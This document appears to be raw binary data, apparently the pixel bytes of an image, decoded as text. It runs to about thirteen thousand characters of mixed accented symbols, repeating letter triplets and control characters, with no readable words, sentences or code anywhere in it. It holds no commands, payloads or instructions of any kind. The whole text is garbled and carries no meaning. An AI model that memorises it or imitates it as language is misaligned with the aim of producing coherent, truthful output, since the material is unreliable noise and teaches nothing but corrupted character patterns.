/#1%3'A)E-!G1$H2%F3%G5'J8*N<.P:,N8*L9*N;,N<.K9+C3$>.4'!.#.'!961TTRvz{Ě}|{|zz}}{wvxywv~v~u}u}szpwnunumtkriqlslqlnjljljlgllsiphoipipfmelelel|dlydlyckxckxcjzcj}cj}bi|`gzah{ah{_fy`gzah{`gz[buZatY`sX_rW_lV^kV^kW_lX`mW_lX`mZboW_lX`mYanYanYanZbo[cp\dq]er\dq]er`huaivaivckxemzblxdnzfp|gq}gq}hr~jtlvltnvmultltltmupxr{r{s|r{r{r{t}u~s|wxu~u~xywz|xw|}}Ě}bpsQMDB;1=3)C5*H5'M6&V;*\?-WC:VB9\H=ZF;YF8_L=]J;VC2YG3ZH4[H7ZI7YH8VD6SA3P>2M;/N<0O=1M<2G9.B6*@4(>2&40%73(95,83/?99SMO\VZSLSHFIMMOVUZefk{~ʼԸҳϱгҴдγ˴̵϶ҵҴӴӶӷԷӶзѻպԶεͷϸնӷԸոշԷԸպضָܾdru /,3&#* +*%"rZV}aVmVDdR<_J5~cP|f{ʨ޼ŦٺĥgI]CgMw[ceemx|ơ˦ͪѯ׵׸ն޾ֺѹȰˮɪ|xmǧ~̧{̥|͡zӬկԲշ׺ѶѶڿĩ˰̱еѶββͱȪܿԵΰ̮}sqmfz_tǨܾƪ۹ͫǥvwwisf|bSqWFpVEhUFXJA   +       +    +     + +  +  +      ! %!!#"$#"*)abtܫԭЭϵնճк״љ\[a;9>1,0,&&-%#0&$0%!*&+$-$/%0#0"4#6%4#5$5&6)#4)%5,':2/@;7EHMaflĩȡÝ}}{yz{|}xwvvwwusu}t|qyowpxrzqynvmtjqipkrlskrjqkrjqhohojqjqhofmfmeleldk~bi{biydlyckxaiv`gy`gz`f|`f~`f~`f~_e{^dzZat]dvZasV]mV^kT\iT\iV^kW_lW_lW_lX`mW_lYanZbo[cp[cp[cp\dq\dq]er]er]er`huaivaivbjwdlydnzfp|gq}hr~hr~hr~jtlvksmultksnvnvnvqyqzr{s|r{qzr{s|u~s|vwu~u~xywwzyz~~|~x{eegUQRH?@901;.%9,#>2&@4(@4&E9)E9)B7%E9+F:.F:.D7.A4,<2):/)9.(=53=53>64@;8GC@SON^][gfdx˷αȵķȻ̼Ͻмҷϴ̵ͳͱͰͱββ̲ʳ˴εѵҴӵԶӸնҵϷѻպԷ϶θиշԷԸոշԸչּٺڽ}   1.5 $   +#iRJeTzaKmYAXB-aE7bOmԵäݾ̭~bjRs[|bddghfrx}ȥάбϰҳԹѹϴͮȩȷ¸Ļȷϲɭsά~Ӯֳ׵շֻ׼׼èŪèǬʯǬĩټѴϰʫäzvqnklҳĨ۹ͫţurmv_m`w]NkQ@kTBkXJL=6  +   +     + + +   +  +         +    +  $!!!%$76HɬӭЮбѱЬɭʯ̶̮Աͮʧ}qv|fip`af_^da`fihpnmuxxðǭƥ~|}{zz{{{xwvuvvtss{u}t|qyowpxqyqypwmtkrjqiphohojqlsjqjqkrlsjqhognfmfmelcj|biycjzbjw`hu`gy`gz`f|`f~`f~`f~`f|`f|\cv^ewZasV]mS[hRZgRZgU]jW_lV^kV^kU]jX`mZbo\dq\dq\dq\dq\dq\dq]er]er^fs`huaivaivbjwdlyfp|gq}isishr~isjtkuksltjrksowpxowqypyr{s|r{qzqzs|u~r{u~vt}t}wyxwyz{~~}~ĥť£{zxmlj]\XPOKMLGLKFNMHPLKPLKNMKRPQ][\nlo~ǶʳԳԱҭЪ̬ͩѱֲҴҳѯϮήϭΫ̱˲̲γвϲγͳʹεϵѵҴӴѵҶҶеϷѺԺԷѸһչַԷԸոոչֻغ׺ڼ䙦 $!(  + XE7iRrWmShMlZzŨַԵǥlnXv^}cfhkkiquzǤϭԲӴԷؽҸӵ̬æ}ϳص޼ݿ۾åɫɫǩèèڿ§ؾԺͳαˬȩɪ|zwvpmsȩٻƪǫ޼Юá|tnzcmVeXtZKsYJr[KlXM>/,             + +    +    +         +   +      $&#&$ ."!1حЯѯϰϰͫȪDzЦΦΩѩѨίճٮԫϫϭЮаή̭ʭʪɪɪʩͦˢʡɠʡƢǟœ}~|{{{{zxwvutttts{u}u}rzpxpxrzrzpwmtjqipgngnipmtlsjqipjqkripgnfmfmgnfmcj|biybiybiyaivahzah{`f|^d|\bz[ay\bx\bx]dw_fy[btV]mNVcOWdRZgU]jW_lW_lV^kU]jYan[cp]er\dq\dq]er]er\dq\dq]er^fs`hubjwckxdlydlyfp|gq}isisishr~isjtjrltksltowowowqypyqzr{r{qzqzs|u~r{t}u~s|t}wyxyyyz|}~ë¯ƮŬòIJųȴɫȭʰͰίͮΫͫͬʭ˪ȫɰ̭ͯʰͯӱհԭЭЮϮϬα˲γϴдгϳϳ͵϶ҶӶӵԵҶҶҷѷѸҹӸҷѹӽ׹ַԷԸչָչֻظӹٹ߾஻&) ! !%   D3#{cG}_hk\sRK^B7oTCzdyĥŦ~ju_x`~fhhedgkmsyƤ̪ϭѴպպںԴ¦½¿ʷ˱ԸܺœƤƥʫϱͯȪŪƫèպͲ˰ƫȩä|{unwwrkjrɪٻĨƪݻЮxrit]lWw]NrXG|bSw`RhUN5'&   + +  +    +   + +      +  !!)*w٫ήЯϱгЮ˪ǫɮ˩ǫɭ̥ͪȤǣȠåŨƨŦ§ŧĥä¡ßžȞǞşß}{{{{{{yxwuttuvv~u}s{qyqys{rzowovlsjqipgngnjqovlsjqhoipjqipgneldk~fmfmcj|bi{biycjzbiyahzah{_e{]c{Z`xY_wZ`v[aw\cv^exZasU\lJR_MUbS[hW_lYanYanW_lV^kYan\dq]er[cp[cp\dq]er\dq[cp\dq^fs`hubjwdlyemzfn{fp|gq}hr~ishr~hr~hr~hr~jrmumultnvnvnvqyoxqzr{r{qzqzs|t}s|t}t}t}u~xyyzyyz{}àĢƤȟà¥ǣŢĩƩƨŨŨƩǪȪȬɭʭʭʪʪʪʫ˭ǮȫūŰȱɮƯŭ̯̰ΰαγгα̲αͱͲ̳ͳϳϲδеѶӷַԸչչӸҸҹӺԹոԸԺָշԷԹֺ׹ֹֻغջۺ3:B  ,)0 + 0#mX=|^rtrgpTFfK:eOcpso{cnVrZx`}cffilpprv| ˪ұټڿĪĩ§̳v`T7 #     + + +          +  +    +           %"$ $""%,W`gسձѳҷԳЮˬʥǩ˪̧ɦȦȥǥǧ˨ʧɥǣŦƧǧŤƣšß£Ģß~~}~}{zyyyxxxyyt|wxt|pxpxqyrzrynulsmtmtlskrkripjqipfmelfmfmelel~fmel~bi{ah{ah{`gz^ex^ew]dw\bxZ`xY_wX^vX^tX^tW]sZatW^qRYkX`mX`mW_lYan\dq^fs[cpU]jZbo^fs`hu^fs^fs`hu`hu]er^fs`hubjwbjwckxfn{fn{emzfp|gq}isjtkukujtisksltjrjrmunvnvpxqzpypyqzs|t}t}s|t}t}t}u~wxxxzx{}|~~}ŭɨĬȩêīŪħëŦƧǩɬʫ˪ʬ˭̱ɭůDz̰˰˴ϳЬɭʭ̬̮αӲԲղѲβ̳˴̴δгҵҵҶշָչչӸмԹѶдζҹֻؼۼٺ׺׻ػػؼپظֻ텋  !$'$+  +  +CųմԬ˰ͰͭʰάȬȪƩŪīê­ŨëƬǪũĩĪĩçĦã}zxxxxxxxxyv~wv~s{s{s{s{qyt{ovlsmtovmtkrjqjqkrkrgnfmfmgnfmel~el~cj|ahzah{bi|ah{_fy]dv\cv[awZ`xZ`xZ`xY_uY_uTZpU\oQXkMTfV^k\dqYanV^k[cp]erYanW_lZboZboZboZbo]eraiv`hu^fs\dq_gtaivbjwdlygo|fn{dlydnzdnzfp|isisgq}gq}isjrksltltksmupxrzoxqzs|r{s|t}t}r{s|s|t}vwyzzyyz|~¤èħèĩŧĨũƩƨŨŨũƧĭʪǫȬɪǮ˯̰ϭ̮̮ͯʰʱ˰ʱ˱ͱͱͱͱͲβδѳвϴѸնӴѵҹոԷӷԸչععػڻںٺٺٻڼ۽ּֽܼ׽ټػؼٽڼ޿۾־䜪  + %($")$$0  1#"vdVmzˬίɪĥecH]CkOqUqUfGnOlMfHhKpUkRp[u_|b}b{crfTcUڽad~jtfn_l\kWdN^F^F\DzT=yZ>`ChLmQnTpWs\u`u[z`qҷܿڻصάâvmccmyy~foZnXMH89 ! %"  +  +   +   +        +      + +   + "&$$0''3((4'$105335߯Ӳر׮ϱЯˬʫɪȪǫȫȬǫƫƩƪǫɨȥţĥƧĥ¦çĤ£~|zzw~w~w~v}xyxv~s{rzrzqyowowqyqxovmtkrjqjqjqjqhojqjqiphogngnipelbi|bi|cj}ah{ah{ah{_fy_fy]dwZatW^qW^qX_qW^pT[mRWkRWjQViNTdW_l]er[cpW_lZbo[cpYanYanZbo[cpZbo[cp]er`hu_gt]er_gtaivbjwckxemzgo|hp}fn{eo{fp|gq}isisgq}hr~isjrltmumultmupxrzqzr{qzqzr{u~u~u~r{s|t}u~wxyzzz{}ŨũƨŨŨũƪǪǮ˪ǫȭʫȭʮ˯̭ʮ˯̮ʰ̳ϲΰ̱ͱͱͲββϲϴѴѳеҸշԵҶӹոԷӷԸչعظ׻غ׺׺׺׻ؼټٹӺԻջ׻׻ػؼٻݽٿ׽䧴 # (& $''377C$ + +  +1#"jYIeyĢǨбٺܽӴ~bjMjPrXy_qVqVjNdIfKcFbHhQiPiOkOkRu_eQo]ּγ}wqhy`x]djlkid~`z^x^}djhvĤԹŪʬƨ¤۹ұɨurv~s~fnYkUHH88    +    +   + + +     +  +  +   +  + +  + ')%)&%,+1/.3kvݰҭѮҰѯ̪ƩǪȫɭʭʫȫƩħĨũƪȦƤģĤŨť¥¦ã¥â~~}{zzw~w~xv}w~yw~u}t|s{rzrzqyrzs{t{rypwnulskrjqjqhoipipiphogngnipfmcj}cj}cj}ah{ah{ah{^ex]dw]dw\cuY`rX_qX_qV]oT[mRWkRWkPUhMReW_l]er\dqYanZbo[cpZboZboZboZboZbo[cp]er_gt_gt^fsaivbjwbjwbjwckxgo|hp}go|dnzeo{gq}isjtisjtkuksltmumumunvpxs{r{r{qzqzr{u~u~t}qzr{t}u~wxyyyyz{}~~ĩŨħèĨŨŨŨŧĨũƫȬȮʪƫǮʭɭɭɯ˭ɮʯ˭ɰͳдѰ̱ͲβββϲϲϳдѴѵҸշԶӷԹոԸոոչָ׸׺ֺֺֺֻ׼ػ׻׹ӹպֻ׻׻ؼٽںܼؼ#, +#" #$'!  +  1"`M22>)*/  +'eQFx`nyƣɨɫˮӶٽǣյӳ˫ͪϩԪթ֪ӭЯүҫҫЭǻƫDZįǭټնϱϮϮͬʬȧȦʨ̪Ϋճڻůѹؽջ̭ǨßжʭpuyzpcUL    + + + +        +    !#  +  +  +*'0ge}RPe//;  + "wݫϫϪ̭˱ϯͬʫȫȫȮɯʦƧǦƦĦħŧťçťæĦĢ¢¡~}zxyxts~s~r}u}t|s{s{rzqyqyrzqxqxpwpwpwovnumtlsfmjqmtgnfmipipgncj}bi|ah{_fy`gzbi|`gz^ex[buX_qX_qW^pU\nU\nV]oSXnSXnUZnX]pX`mX`m^fs`hu[cp[cp_gt]er]er\dq\dq]er^fs^fs`hubjw`hubjwbjwbjwdlyfn{fn{dlygq}isjthr~gq}hr~hr~gq}jrksltnvpxrzt|u}r{r{u~vu~r{s|u~s|t}u~vxyz{{{{|~æ§éũŧ榦èũƪǪǩƩƪǭʫȬɫȰʹѯ̲ϱί̰ͱͰʲʴ̳˳ггдѴѴѵҵԴѷԷԸսھۻعֺٺٻں׺׻׼ؾڼؼؼػ׻׻׻׼ؿ޽ܼۼټٽٽٽٻ߼썑 #&#( *( ()  ,& 8-)}j\w¦ŸģȪ̯гֹáâָϱŤȦʣɠț|ˡyƢ~ƥϬԭ֭Ϭ}~{|xmypkla_ƴȱvnaura~g_vherh^xٽǩƱ߾ٻֶҳͮ˪˪̩ͬϱʬ̫ѯִطܽç͸Ҿؽؽ˯ɩšѷαŦuy|wtpbY) #"!'"%,   + +        +  +   ' #*#    B?\>**4!*ԲҲϵдϰ̮̬̪ͯʨɬʬʫɪȩǨƧŦīƪũĩħĨŨŨŢ¢£â¡}}|{yxxxwv~t|s{s{rzpxowowpyqzpynulskrlsmrlqlqmrkphmhmjofmcj}bi|cj}cj}`gz_fy^ex[duZctXarVbrVbrUaqS_oR^nSZlQXjPWiQXjJR_LTaPXeS[hU]jV^kX`mZboX`m]er^fs]er_gtaivaivaivckxckxckxckxemzfn{fn{emzgq}hr~ishr~gq}gq}hr~jtmwmwnxnxnxoypzq{oxqzr{s|s|s|s|t}s|t}u~wyzzz{}}}¥¨ĨĨĨŨũƪƫǫǬƬƯ˯ˮʮʮʮʮʯ˱ɱɰȰȰʱ˲̳ͳдѵҵҴѴѶӹַӷӸԸԹչպֺֻӺҺԻռؽڼٻػֻּ׾پپٽؽؾؽ׼ؼؽپڽٽٿܿp +  )&)0 )rʧѰ̯ʹҹҵѯ˪ǤǥʨΪҮձֲղҰЮҮЩˢˠͤЩְٵܺݼԵɪsw`lPbFaH27#+X8#fI{^qàʫҳ׹§۽׹ֵӲѯЮЬͬΫֲܸ޻ǫԹپٿԶӵˮũĦֻеǬƫ|myjI<6 +   +  +      +    +  03B:=L$$$. %%/&!$&#"##"!$!  +      + $#+,,600<22>))5#!r|ڴӳдϴϱί̭˩ɩɨɬʫɫɪȩǨƧŧŧĦä¨èèáãá~}|{yxxxyxwwv~u}rzpxltmvnwmvmtlsmtnukpjokpmrlqjoinkphofmdk~cj}ah{^ex]dw_fy]fw[duXarUaqUaqUaqT`pS_oQXjOVhNUgPWiIQ^LTaPXeS[hV^kX`mZbo[cpX`m\dq]er]er`huaivaivbjwckxckxckxckxdlyemzemzemzgq}isisgq}gq}hr~jtjtlvmwnxoyoyoyq{r|qzr{s|s|r{r{r{s|t}u~vxz{{z|~}~~èĨħĨũƪƪƪƫūŮ˭ʭɮʮʮʯɰʱɱɰʰʱ˲βγϴѴѵҵҵҵҶӹָԷӷӸԹպֺֺֺԺԻռֽٽټؼػֻּ׾ٿھٽؾپؽ׼ּֽ׽ٽٽ۾߿ꕦ +!"'- m\RĦǥѱ̲η϶ոӴϮɨǦ˩ϭӯ԰ѭֲԱϭΪΧ̡̣ͤϨϫѯӲвɪyj|bvYnQhP8֨˶}hʨڹ߽ĦæƩƫĬ۽ټַӴұЯѮӰعٸཝ¤æ̯پֻѴбɪäԹеɮǭ¨~lziPC: + + + +  +   +    + %28FG9F")5@FͰѮϭͫ˭˯̰ͱ̰˪ȪȪȩǩǩǩǨƣĢâ¤ħŧŦäá¢|{~|yxxxvuxwv~v~u}t|rzpxowpxpxnwnumtkqiortqsoqlnlnmolnikipelbi|cj}dk~bi|`gz_fy^cv^cv^cv\cuZasX_qT[mRYkSZlSZlSZlSZlLTaLTaPXeU]jV^kX`m[cp]er[cp[cp\dq]er`hubjwdlyemzckxbjwdlygo|go|fn{emzfn{iq~go|fn{hp}jrksksltkumwoyoyoyoyq{s}qzr{r{r{u~xwu~wxxyzxx|{|}¥¦æ¦çħĪǩƩƪǫȫȪǩƭʫȬɰ̱ͯˮȮȯDZɲ̰ʰ̲δѴѴеѶҶҷӷӷӷӸҸԸԸչֺֻջӼֻջս׾ؽ׾ڼ׽ؽؾپٽؽؽؾٽؽؽڽڽھ۾ۿٿ޾%(-luzزְаΰ̯̮ͯˬʨȤĤĥťŨƩǪȪȨƦĥåååã¥åâ ~~{{{yyzwzxv~v~xyv~s{rymtnuqxpunsotpumrmrmrlqjojokpkpgneldk~cj}cj}bi|ah{`gz]dt]dtY`pX_o[brW^pSZlV]oU\nU\nT[mRYkNVcLTaPXeU]jW_lX`m[cp\dq\dq\dq^fs`huaivbjwbjwbjwdlyckxdlyemzfn{fn{fn{go|fn{emzfn{iq~ksksksmukumwoypzpzpzq{r|s|t}t}t}u~vvu~vvxzzxxz||||}~~Ħ¦¦ĩŪǩƩƪǪǫȫȪǪǫȬɫȫǭɯ˱˰ʱ˲̳ͳʹеѴвεѶҶҷӸԸԸԸԺֺֺ׺׺׺ֺԺҿٽ׼ֽ׽׼ֽ׿ٿھٽؽؼ׼׼׼׽ؽؽؼ׼ٽھ۾߼vz$% yofæŨɬʭҵټټܿݾ׶Ӳͫá~{yrrouyuvyƢ~ş{ʤΪԲطڼáͭѰֵ׶طۺ̫ŮzzvּʩѰǦĦǩå夤åܿۼۼٺ׸ԵԵַعܿãǩʫͮͱееϵ˱Ȯǫũ׽׽ѶҷӵвΰȬéwjp[r`RK@:! +  + +   +  +.7ãȅMOd!( "      +! %#&+##-"".**4 #(KTY׵ٰбϱΰ̮ͯˬʩɨȨȨȧǨƧŦĦĩǧťåæĦģæĤģá}}}|}zzzxyywywu}u}v~wu}s{szovovqxnumrotpumrmrmrmrlqkpjojognfmeldk~cj}bi|ah{ah{^eu]dtY`pX_oZasX_qV]oW^pU\nU\nSZlQXjOWdLTaPXeU]jW_lYan[cp[cp[cp\dq^fs`hubjwbjwbjwbjwdlyckxdlydlyemzfn{go|hp}fn{fn{go|iq~jriq~jrmujtlvoyq{q{r|r|s}r{s|u~u~u~u~vvwvxzyxy{||{||~榩ŪǩƩƪǫȫȫȪǪǫȬɬɫǭɱͳͲ̵ϴβ̴̲еѵѴеѶҶҷӸԸԹչջ׺ֺ׺׺׺ֺԺԾڼؼؽٽٽپܾپٽؽؽؽؽؽؾٽؽؽؽؾ۾ۿܼ׿ܿ޿߽޻ܿ藞 !"+tŨȫˮӶټ۾ݾݾٻֵЮȦß}{rqnsurtuĠ|žzŞ}ɢ̨ѯӵ׻ƥͫϭЭЭ̩ţھոá̫¡պӸĤ޿ۼܾܽڻ׸ԵնظۻĤܿʬвͱ˱ϴͳɯũĩ§ؾջջѶеҴвͯɭépyb{iUhXIB71!$   +        qsfi|&)< +       !    +   "%*$$.&'!&1:?ɶذбϰ̮ͯ˭ʫɨȩɩɩɩɫɪȩǩǩǨƧŧŧŦĥ㤤¢¢¢£ãß~|{~{{{yyzwxxwv~t|s{s{t|qxnupwryovmtototlslslslskripfmdk~gnfmeldk~cj}bi|ah{`gz^eu]dtZaqX_qX_qX_qX_qY`rV]oV]oT[mRYkOWdLTaPXeV^kW_lYan[cp[cp[cp]er_gtaivaivaivbjwbjwckxdlydlydlyemzfn{go|hp}go|fn{go|iq~iq~iq~ksnvjtlvoyq{r|r|r|s}qzr{t}u~u~u~vxwt}wzxy}}{{{|}¦§©ééũƨũƪǫȫȫȪǪǫȭʮ˭ɯ˲δγͶҴвβδεϵϴεҶӶӷԷԸչָֹֺֺֹչֹպԻվڼػ׼ؽټؽٿۼ׼׽ؽؾپپپٿھپپپٿݻֽڽܾ޿߾崺%/ %(-(+4-+,ǪʭαԷػ۾޿޿ֵܾЯάƤ{trorrorryž|ß}ǠȤ̪Ҳѳٸ۽ŸšǢɤɤǣĝд˯۾ɨģܿ¢ݾܽۼڻܽٺٻۼܽܽڻٺںܼ¢ؾپǩΰ˰ʰ˱ʯƫèؾӸϴγ˰ɮ˭ʬƨç~rir\hWEUI=90+$         +   +  + +  !  +  + 238**4!,(!&")/ذбϱΰ̮ͯ˫ɨȪʪʪʪʫɪȪȩǦƦƧǧǦƥťťŦĦģâ¡¢£ßž~}}}{{{xzzyxu}t|u}v~nvmupwszpwnuovnulslslslskripfmdk~fmeldk~cj}bi|ah{`gz_fy_fv]dt[btY`rW^pX_qY`rY`rW^pW^pU\nSZlNVcLTaQYfV^kX`mYan[cp[cp]er^fs`huaiv`hu`hu`huaivbjwckxdlydlyemzgo|go|go|go|emzfn{hp}jrksmuowlvnxpzq{q{r|r|r|qzqzs|u~u~u~vxzvy{xx|{{{|}~§éŨħĩƪǫȫȪǪǪǬɮ˯̰̱ͲγͳʹвβδжжеϴεҵҵҶӷԸոչֹչָո׸չֺֻվڼػ׼ؼػ׼ؾڻּ׽ؾٿڿڿڿڿؿڿڿڿܽؽڽ8?I  $25<;;EHDA|ǪʭαԷ׺۾۾۾ݾֵܾұӱʨßzvrtrptsuzß}Ɵ~ƢʦϭͭҰԳָּٿؾӹھ¦¥׺Ĥģ¤پ¢ã۾ػ׸׸ۼٺ׸׸ع׸նն׸ٺּ¤åǩɮȯŬèؽպҷγɮŪĩåå¢|n}hp]tcQ[N>J@7,$! +     +          ""!  "      $%*%+)60/7 #($۲ҳѳвϱΰ̫ͮ˫˫˩ɨȩǨƧŦĥŦƨȧǦƥŦƦƥťŤģâ¡~~|||zzxv~u}v~wv~u}pxnvowqxovnuovovlslsmtmtkrjqhognfmeldk~cj}bi|ah{_fy^ex`gy]dv\cuZasW^pX_qZasY`sW^pW^pV]oT[mLTaLTaQYfW_lX`mYan[cp[cp^fs_gt`hu`hu_gt_gt`huaivaivckxdlyemzfn{go|go|fn{go|emzfn{iq~ksltmuownxnxoypzq{r|r|r|r{r{s|u~vu~vx{vz}wwzx{{|}~¦§¨ĨħĨŪǫȪǪǪǪǭʭʯ̱ͱͱͲ̳Ͳϱαʹжже͵ʹѴѵҵҶӷԸոոԸոչععֺֺԾڼػ׽ٽټؼؾڽؽؾپٿڿڿڿٿڿܿT\g 14=99CEB=~zŨƩ̯Ӷֹ۾ڽػػ۽׶մճ̪ȥßzvwsrvssyxĝ|Ɵ~Ġ|ʨɩʨ̫ѳչؼۿٻӲǪ{¥ֹܿ۾پ׼åپ׺ոԷػֹնԵҳбϰѳԶָּ¡åħȭǮپپֻѶγͯȪå{xoy`p]mZI`PAQE9C:5  ! +   +   +     + "&&#!!$&!   +   1/:=YeqݱѲвϱαΰ̪ͮʮά̪ʧǨƨƨƨƦƦƦƦƥŤģâ£â¢¢¢¡¢âã~}~~~|}}zyzzxu}t|u}v~s{pxpxpxovnunukrksksjriqfnememfnhofmdk~dk~dk~cj}ah{^exahz^ew_fx\cuW^pX_r[buW^qW^pW^pV]oT[mLTaOWdT\iV^kV^kZbo]er[cp]er_gt`hu_gt`huaivaiv`huakwcmyfp|gq}hr~hr~hr~hr~jtfp|eo{hr~jtisjtmwlvmwoyq{r|q{r|t~u~t}s|v{wt}yvwxyz{{|yx}|}~榥¦¦¦¨ŧĪǫȪǪǫȩƫȲϮˮʳͳ˳˴̴дгϳϳʹε϶геҶӷԶӶӷԸ׸շԷԸոԹչչռٻغ׻ؽؽؼ׺ռ׻ּ׿۾پھܿٿ낈 + + + 24A.)&zx˭Զٻݿ۾ػػ׸ҳұϮḁ̇ȡƟ~Ü{xwwuqzuutxšvß}ɥЮҰήǩϱƪƤrw̫ҴдβӷίնعԵбͮʫʫЮӱӱϰҳӵӵӵջ¡ŤٿؽҷӹѶͲǬħ}ysmvaeTmVH_JER>7K9/C5,<1+ + + + +    +   + + +  #" +# (('(""$'#  +   +  + !"%&+$'.?CNOUaϿ۱αѮѭЫδԪʮ̮̭ˬʪʩɨȨȦƦƥţäĦƦƤĥ䤥æĦĥã¡~}}||yz{yyv~qys{r}rp}mzlwowpwovnunukrlslsgngnhodk~dk~eleldk~dk~elcj}`gz`gz`gz_fyY`sX_rY`sV]pX_rX_rU\nT[mU\lLTaNVcS[hW_lW_lZbo]er\dq]er_gt`hu_gt_gtaivaivaivakwcmyfp|gq}gq}gq}hr~jtjtgq}fp|iskujtkunxnxnxoyq{r|q{s}uu~u~s|u~yvt}xvwxyyz{||z~}}|楦¦¦ªǨŪǫȩƫȮ˭ʩưͬɭɱ˱˳˳˲ββγϳʹδεϴдеҶӷԸոոոոչֺ׻׻׻׺ֻػػؼٽؽؼ׻ּ׽ؽؽؾٿ$!    ,.;,*572/}s}|¤˭ѳָԷټػննԳέ̫ɢǠǠĠ~{xvswzststĠ~ß}{š̪ά̬ƨ̮¦pm|έϱдβͱʫίбϰ̭ˬˬ̭ʨЮбϰвѳӵ׹ּ¡ٿؽպѶ̱ʯǬè~}rjzbjUv\KgP@VB;M92G5+B4+=4- +   + +     +           !!+"$0%'' ,(&$ ( !&    +  + +   "-1<.4@qwнٿݩ˱ԩ˭ͭ˯̭ͮˬʪʩɨȧǧǧǦƤĤĦƧǦƥååæħŦĥã~~{{|zy{yzv~qyt|s~p}o|ozozqyqxovmtovlslslsgnfmfmcj}bi|dk~fmgngnfmcj}_fyah{`gz_fyY`sX_rZatV]pX_rW^qW^pV]oSZjLTaMUbS[hW_lX`mYan]er]er]er_gt`hu_gt_gt`huaivaivakwcmyfp|gq}gq}gq}iskujthr~hr~jtkujtkuoyoyoypzq{q{r|t~vu~vt}t}vu~t}vvwxyyy{|~z}~}|{¦¥¦§çêǩƫȬɫȬɯ̯̬ɱήʮʰʰʲ̱ɱͱͱͲγϴδγͶҵѴеҸպ׹ָշԸչֺֻ׻׻׻׻ػؼټٽؽؼ׼׽ؿڿڼ׽ܿ'&4#  02?!)$ ~mzry~}{å˭ѳгټԷб׹طЯЯΪͩΪͩȤß{vtuquvsž|ƢĢţ˩̫ͬǩɫzwqģЯ˭˭˯ɭʫȩɪɪǨǨȩȩɨ̭ͮͯΰϱѳԶԺջ׽ؾؽֻӸѶ˰Ǭ}~{ly`kSuZEhN=[D4UA:R@6K:0I;2?61!   +   + +   +  + +     +   +    '''&%' ,)%!' !&   +  +  "!$+(,5)-828DXbnηԱѫͮЮΰΰή̬ʫɪʩɧǦƨȨȧǥŤĥŦƦƥåæħŧŦĤ£~~~zz|{xzyzwrzt|u}p}p{p{p{rzpxovmtrypwpwovkrjqjqgnfmfmfmelelelcj}ah{ah{^ex^exZatY`sZatW^qW^qV]pY`rW^pRYiMUbLTaRZgX`mX`mYan\dq^fs]er_gt`hu`hu_gt_gt`hubjwakwdnzfp|gq}gq}gq}iskuishr~hr~jtjtiskuoynxoypzq{q{r|s}uu~u~t}s|t}u~u~vvwxyyyz|{y{||¦¦¥§ççèũƬɮˬɬɮ˭ʰʹѱͰ̱Ͱʲ̰ʱͱͱͲδддδθԶҵѶҸպ׹ָնӷԸԹչպֺֺֺ׻ؽڽڽؽؽؾپٿڿھپAEQ#%1%$,xvvpstswƨͯгԷϲָͯۺմѰѯЮѮЭʧƣŸzwwt{zu{ƢƤĢʩ˪ͬȪƨvt`mŤĦĦǪˮʫŦŦǨŦĥƧƧȪʬɫ˭вҴдѵӹԺջպԹҷеϴŪè¥~|vhu\iQz^IqXDdM;YE:YG=Q@6M>78/*  +           +     " *' , ,'%!' !&  + +     + % )48C37B@FRϼڱϲҪȳѱϮ̫ɪȩɪʨȦƨȩɨȦƤģãäĥæħŧŦĥååãá~~zz|{yzxzxt|u}u}q|q|p{qyqypxovnupwnunumtkrjqiphoiphofmeldk~cj}ah{`gz`gz\cv]dw[buZat[buX_rV]pX_rY`rW^pRYiMUbMUbRZgX`mYanYan]er^fs]er_gtaivaiv`hu_gt`huaivakwdnzgq}hr~hr~hr~isjthr~hr~hr~isishr~kunxmwnxpzpzq{q{r|s}t}t}t}t}t}u~wwvwxyyyz{xxz}}§æ¦¦¦§èĨĩƩƬɭʪǪǬɬɰ̲ΰ̱Ͱ̱ʹбͳвϲγϴеѵѵѸԸԷӷӸոոոշӸԸԸԸԹպԻջؼٽڽڽؽؾٿ۾ٿۿڿfn{ + CCK328pkhlqtwŧʬͰααϱҴڹطѰӲѰѰЭ˨ȥǤŠšĠ~ž|ß}{xß{ǣ¡}Ǧȧ˪ʩĦvw`lŤƥ¤ħƧääƧǨǨȩɪʬ˭˭ΰշֹֹػּٿؽҷγͲ˰ȭƩæzxn|crZlVgSqWF_M?[I=P?5J=50&$ $"!          +!!(%(1(!!-+%#  +        +&',%(+/:;AMۯͰδҲбϮ̫ɪȩɪʩɨȦƧǨȧǤĢ¢£äĥťŤģãäĥŤĢ¡}|}|yyzxxwtwyu}v~t|s{s{rzqypxownvmunuovmtlskrjqhohofmfmgnhogndk~_fy\cv`gzZat]dw\cvZat[buY`sW^qZatW^pT[mSZjMUbMUbS[hX`mX`mZbo]er^fs^fs^fs`huaiv`hu_gt_gtaivblxdnzgq}isisisisishr~hr~hr~ishr~iskunxlvnxpzpzpzq{r|r|t}r{t}vt}u~wwvvwxyzzzxz{|~ççæ¦§èĨĨĪǩƫȪǧĨŬɭʬȮʭɯ˯˱ͶӲϴѳвϳϵѶҶҵѷӸԸԸԸԸոոչպֺֺֺֺԼ־ػؼٽڽڽؾٿܾٿܿڿ啡 (..0GFLDCHtbwq|bfouw~¤ƩȫϲӵѳֵطԳָӵѳЯ˪ɦȥŢß}ß}ß}ššß{Ġ|Ƣ~ĦȪǩʩɨŤwmcp¤ƨƩĥƧƧǨˬˬʫͮϱӵշַ׺׺ټ¢׼ڿؽҷͲ̱ʯƫȫħä£zrjyar\iTpWCbQAWE7K:0F93)"(%$!*)#$% + +    !% )'*3 ,+##/)&    + +  +   #&-$+/:PVdúֲзհͱϯͬʫɪʪʪʩɥťŦƦƤĢ¢¤ĥťŤģâ£äĦƤģ⢡~|}}zzzwwvtwyu}v}u|szszs{rzqyowmultpwqxovmtmtkripjqfmelelfmelcj}`gz_fy`gzY`s]dw]dwY`s[buY`sW^qY`sV]oT[mU\lLTaOWdT\iW_lW_lZbo^fs]er_gt_gt_gt`hu`hu_gt`hubjwdnzeo{fp|hr~isisisisisisisisisjtlvnxmwoyq{pzpzr|s}s}u~qzt}xu~s|vvvvvxz{zyz~}{~èĨħçèĨĨĨīȪǫȪǧĩƮ˯̭ɮʮʰ̮˱ζӲϴѳвϳеѶҵѴжҷӸԹչչոոչպֺֺֺԻս׾ؼٽڽڽڽؾۿ@IP$"DCISS]549 mu|kz`|bkqqwæƩˮвӵմմ׶ոҵҴв̫ɦƣŸzxž|Ȥ˧ʦȤʦȪå˭ǩǩɨǦ||yàŤģǨȩƧĥ̭ʫȩϰίʫбնعٺټټ׺ػؽؽֻӸеγɮƫ¥¤ƨˬʫĥxqqht^gRmT@\K9Q?1K:0B5/"! ###-$$.$$.%%/$!         +  #""%.!$-*((4$$. * ($"$    +   +  + 99AJJR 